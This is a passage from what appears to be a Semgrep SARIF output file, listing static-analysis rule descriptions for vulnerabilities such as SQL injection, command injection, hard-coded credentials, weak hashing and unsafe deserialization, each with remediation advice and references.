\"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning."},"help":{"markdown":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.broken-input-line)\n","text":"'input_line' leaves a '\\r' (CR) character when reading lines from a Windows text file, whose lines end in \"\\r\\n\" (CRLF). This is a problem for any Windows file that is being read either on a Unix-like platform or on Windows in binary mode. If the code already takes care of removing any trailing '\\r' after reading the line, add a '(* nosemgrep *)' comment to disable this warning."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.broken-input-line","id":"ocaml.lang.portability.crlf-support.broken-input-line","name":"ocaml.lang.portability.crlf-support.broken-input-line","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.broken-input-line"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.diesel-taint.diesel-taint","id":"rust.actix.sql.diesel-taint.diesel-taint","name":"rust.actix.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.use-of-sha1.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.use-of-sha1.use-of-sha1","id":"kotlin.lang.security.use-of-sha1.use-of-sha1","name":"kotlin.lang.security.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","id":"python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","name":"python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mariadb.python-mariadb-empty-password.python-mariadb-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service"},"help":{"markdown":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil)\n - [https://github.com/golang/go/blob/go1.15.2/src/net/rpc/server.go#L643-L658](https://github.com/golang/go/blob/go1.15.2/src/net/rpc/server.go#L643-L658)\n","text":"The `func ($O *$CODEC) ReadRequestBody($ARG $TYPE) error` function does not handle `nil` argument, as the `ServerCodec` interface requires. An incorrect implementation could lead to denial of service"},"helpUri":"https://semgrep.dev/r/trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","id":"trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","name":"trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil","properties":{"precision":"very-high","tags":["CWE-476: NULL Pointer Dereference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.servercodec-readrequestbody-unhandled-nil.servercodec-readrequestbody-unhandled-nil"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-system-command.tainted-system-command","id":"kotlin.spring.tainted-system-command.tainted-system-command","name":"kotlin.spring.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","id":"java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","name":"java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.urlconnection-hardcoded-secret-in-request-header.urlconnection-hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.empty-password.empty-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.empty-password.empty-password","id":"rust.secrets.tokio-postgres.empty-password.empty-password","name":"rust.secrets.tokio-postgres.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.empty-password.empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"help":{"markdown":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.url-rewriting.url-rewriting)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.url-rewriting.url-rewriting","id":"java.lang.security.audit.url-rewriting.url-rewriting","name":"java.lang.security.audit.url-rewriting.url-rewriting","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.url-rewriting.url-rewriting"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument."},"help":{"markdown":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-locale1)\n","text":"Found usage of the 'monetary' argument in a function call of 'locale.format_string'. This is only available on Python 3.7+ and is therefore not backwards compatible. Instead, remove the 'monetary' argument."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-locale1","id":"python.lang.compatibility.python37.python37-compatibility-locale1","name":"python.lang.compatibility.python37.python37-compatibility-locale1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-locale1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings."},"help":{"markdown":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.cors-misconfiguration.cors-misconfiguration)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n","text":"By letting user input control CORS parameters, there is a risk that software does not properly verify that the source of data or communication is valid. Use literal values for CORS settings."},"helpUri":"https://semgrep.dev/r/javascript.express.security.cors-misconfiguration.cors-misconfiguration","id":"javascript.express.security.cors-misconfiguration.cors-misconfiguration","name":"javascript.express.security.cors-misconfiguration.cors-misconfiguration","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.cors-misconfiguration.cors-misconfiguration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-html-string.tainted-html-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-html-string.tainted-html-string","id":"python.aws-lambda.security.tainted-html-string.tainted-html-string","name":"python.aws-lambda.security.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`"},"help":{"markdown":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug)\n - [https://web.archive.org/web/20190919105353/https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/](https://web.archive.org/web/20190919105353/https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/)\n - [https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx)\n","text":"ASP.NET applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Set `debug` to `false` or remove it from `<compilation ... />`"},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","id":"csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","name":"csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug","properties":{"precision":"very-high","tags":["CWE-11: ASP.NET Misconfiguration: Creating Debug Binary","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.net-webconfig-debug.net-webconfig-debug"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.command-injection.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.spring.command-injection.tainted-system-command.tainted-system-command","id":"java.spring.command-injection.tainted-system-command.tainted-system-command","name":"java.spring.command-injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.command-injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.empty-password.empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.empty-password.empty-password","id":"rust.secrets.sqlx.empty-password.empty-password","name":"rust.secrets.sqlx.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.empty-password.empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","id":"python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","name":"python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-ruamel-django.tainted-ruamel-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli)\n - [https://github.com/tlocke/pg8000](https://github.com/tlocke/pg8000)\n","text":"Detected string concatenation with a non-literal variable in a pg8000 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.run(\"SELECT :value FROM table\", value=myvalue)'. You can also create prepared statements with 'conn.prepare': 'conn.prepare(\"SELECT (:v) FROM table\")'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","id":"python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","name":"python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.pg8000-sqli.pg8000-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead."},"help":{"markdown":"Avoid 'gets()'. This function does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn)\n - [https://us-cert.cisa.gov/bsi/articles/knowledge/coding-practices/fgets-and-gets_s](https://us-cert.cisa.gov/bsi/articles/knowledge/coding-practices/fgets-and-gets_s)\n","text":"Avoid 'gets()'. This function does 